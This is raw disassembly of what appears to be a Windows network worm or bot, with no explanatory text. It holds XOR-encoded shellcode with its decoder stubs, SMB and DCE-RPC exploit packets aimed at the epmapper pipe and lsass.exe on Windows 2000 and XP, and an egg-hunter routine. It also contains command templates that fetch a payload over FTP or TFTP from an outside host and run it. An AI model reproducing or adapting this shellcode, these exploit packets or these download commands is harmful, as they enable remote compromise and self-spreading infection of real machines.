sub_4247BA	proc near		; CODE XREF: sub_4247BA:loc_4247CAp
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh

loc_4247C2:				; CODE XREF: sub_4247BA+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_4247C2
		jmp	short loc_4247CF
; ---------------------------------------------------------------------------

loc_4247CA:				; CODE XREF: seg000:loc_4247B8j
		call	sub_4247BA

loc_4247CF:				; CODE XREF: sub_4247BA+Ej
		jo	short near ptr dword_424748+1Eh
		cwde
		cdq
		cdq
		retn
sub_4247BA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_424868	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_402988+101o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_424950	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_402DDD+7Fo
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4249DC	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402DDD+AAo
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_424A88	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402DDD+CFo
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_424B68	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+57o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_402988+86o
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_424BCC	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+2B0o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_424C38	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+2DBo
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_424CDC	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+3C3o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_424D5C	dd offset loc_401495	; DATA XREF: sub_402988+3F1o
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_424DF0	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+314o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_424E5C	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+33Fo
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_424ED0	dd 0			; DATA XREF: sub_402988+36Do
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 2	dup(0)
word_424F58	dw 0AD9Dh		; DATA XREF: sub_40283D+30r
					; sub_402988+E3r
		align 4
		dd 2 dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 8
dword_424F98	dd 1004600h		; DATA XREF: sub_402988+13Dr
					; sub_402988+240r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
dword_425050	dd 0A0D7325h, 0		; DATA XREF: sub_40283D+EAo
					; sub_4036EB+102o ...
aEchoOpenSDEqEc	db 'echo open %s %d >> eq&echo user %s %s >> eq &echo get %s >> eq &e'
					; DATA XREF: sub_40283D+A4o
		db 'cho quit >> eq &ftp -n -s:eq &%s',0Dh,0Ah,0
; ---------------------------------------------------------------------------

loc_4250BC:				; DATA XREF: sub_402988+171o
					; sub_40384C+177o
		jmp	short loc_4250C4
; ---------------------------------------------------------------------------
		jmp	short loc_4250C6
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------

loc_4250C4:				; CODE XREF: seg000:loc_4250BCj
					; DATA XREF: sub_402988+27o ...
		pop	esp
		pop	esp

loc_4250C6:				; CODE XREF: seg000:004250BEj
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_4250D0	dd 1CEC8166h		; DATA XREF: sub_402988+Dr
					; sub_40384C+Dr
dword_4250D4	dd 0E4FF07h		; DATA XREF: sub_402988+16r
					; sub_40384C+16r
dword_4250D8	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: sub_4033CB+E1o
					; sub_4033CB+21Bo
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_425124	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_403178+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_425488	dd 20h,	0		; DATA XREF: sub_403178+136o
		dd 20h,	5C005Ch, 0
off_42549C	dd offset aStreetfi	; DATA XREF: sub_403178+15Do
					; "streetfi"
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		dd 0
dword_4254DC	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_403178+174o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx:			; DATA XREF: sub_403178+45o
		unicode	0, <FXNBFXFXNBFXFXFXFX>
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_4255EC	dd 18759Fh		; DATA XREF: sub_403178+104o
dword_4255F0	dd 100139Dh		; DATA XREF: sub_403178+FBo
asc_4255F4:				; DATA XREF: sub_402FDD+1Co
					; sub_4030C0+16o
		unicode	0, <\\>,0
		align 4
off_4255FC	dd offset dword_49005C	; DATA XREF: sub_402FDD+Co
					; sub_4030C0+Bo
		dd offset aStrip+4
		dd 24h
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_4033CB+41o
		align 10h
		jmp	short loc_425632

; =============== S U B	R O U T	I N E =======================================



sub_425622	proc far		; CODE XREF: sub_425622:loc_425632p
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h

loc_42562A:				; CODE XREF: sub_425622+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_42562A
		jmp	short loc_425637
; ---------------------------------------------------------------------------

loc_425632:				; CODE XREF: seg000:00425620j
		call	near ptr sub_425622

loc_425637:				; CODE XREF: sub_425622+Ej
		jo	short loc_42569B
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_4256B9
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]

loc_42569B:				; CODE XREF: sub_425622:loc_425637j
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------

loc_4256B9:				; CODE XREF: sub_425622+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_425622	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------

loc_425760:				; DATA XREF: sub_40384C+156o
					; sub_40384C+212o
		jmp	short loc_425772

; =============== S U B	R O U T	I N E =======================================



sub_425762	proc near		; CODE XREF: sub_425762:loc_425772p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh

loc_42576A:				; CODE XREF: sub_425762+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_42576A
		jmp	short loc_425777
; ---------------------------------------------------------------------------

loc_425772:				; CODE XREF: seg000:loc_425760j
		call	sub_425762

loc_425777:				; CODE XREF: sub_425762+Ej
		jo	short near ptr dword_4256F0+1Eh
		cwde
		cdq
		cdq
		retn
sub_425762	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_425810	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_40384C+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_4258F8	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_403C8B+85o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_425984	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403C8B+B1o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_0:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_1:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_425A30	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403C8B+D8o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_425B10	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_0:					; DATA XREF: sub_40384C+8Ao
		unicode	0, <C$>,0
a?????_0	db '?????',0
		dd 0
dword_425B74	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_425BE0	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_425C84	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_425D04	dd offset loc_401495	; DATA XREF: sub_40384C+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_425D98	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_425E04	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40384C+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_425E78	dd 0			; DATA XREF: sub_40384C+35Fo
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 3	dup(0)
aWinxpProfess_0	db 'WinXP Professional    [universal] lsass.exe ',0
		align 8
dword_425F38	dd 1004600h		; DATA XREF: sub_40384C+140r
					; sub_40384C+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: sub_4036EB+BEo
					; sub_4051BC+9Do
		db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4036EB+97o
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_404108+B2o
		align 4
dword_42607C	dd 10FF8h, 0		; DATA XREF: sub_404108+6Ao
dword_426084	dd 10FF8h		; DATA XREF: sub_404108+79o
dword_426088	dd 7FFDF020h, 0		; DATA XREF: sub_404108+162o
dword_426090	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_404532+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkPro_1	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_1	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_426118	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_404532+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_426148	dd 0			; DATA XREF: sub_404532+44o
		dd 800000D4h, 0
unk_426154	db  81h	; 		; DATA XREF: sub_40460C+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		align 10h
byte_4261A0	db 41h			; DATA XREF: sub_4046AA+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4261E4	proc near		; DATA XREF: seg000:00404987o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_4262E0
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4262F6
		mov	[esi+8], eax
		call	sub_4262A9
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4262F6
		mov	[esi+0Ch], eax
		call	sub_42625B
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4262F6
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4261E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_42625B	proc near		; CODE XREF: sub_4261E4+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_426284
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_42625B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426284	proc near		; CODE XREF: sub_42625B+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h

loc_426293:				; CODE XREF: sub_426284+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_4262A0
		inc	ebx
		jmp	short loc_426293
; ---------------------------------------------------------------------------

loc_4262A0:				; CODE XREF: sub_426284+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_426284	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4262A9	proc near		; CODE XREF: sub_4261E4+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi

